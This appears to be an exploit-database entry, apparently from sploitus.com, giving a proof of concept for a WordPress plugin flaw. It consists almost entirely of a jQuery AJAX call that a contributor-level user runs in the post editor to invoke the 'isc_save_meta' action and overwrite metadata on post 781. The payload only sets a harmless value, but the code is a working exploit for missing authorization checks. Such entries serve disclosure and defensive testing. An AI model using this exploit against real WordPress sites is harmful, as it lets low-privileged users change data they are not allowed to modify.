Share
## https://sploitus.com/exploit?id=WPEX-ID:3550BA54-7786-4AD9-AEB1-1C0750F189D0
Run while in the Post/Page editor as a contributor

jQuery.post(ajaxurl,{
action: "isc_save_meta",
nonce: iscData.nonce,
id:781,
key: "metadata_change_poc",
value: "meta changed"
})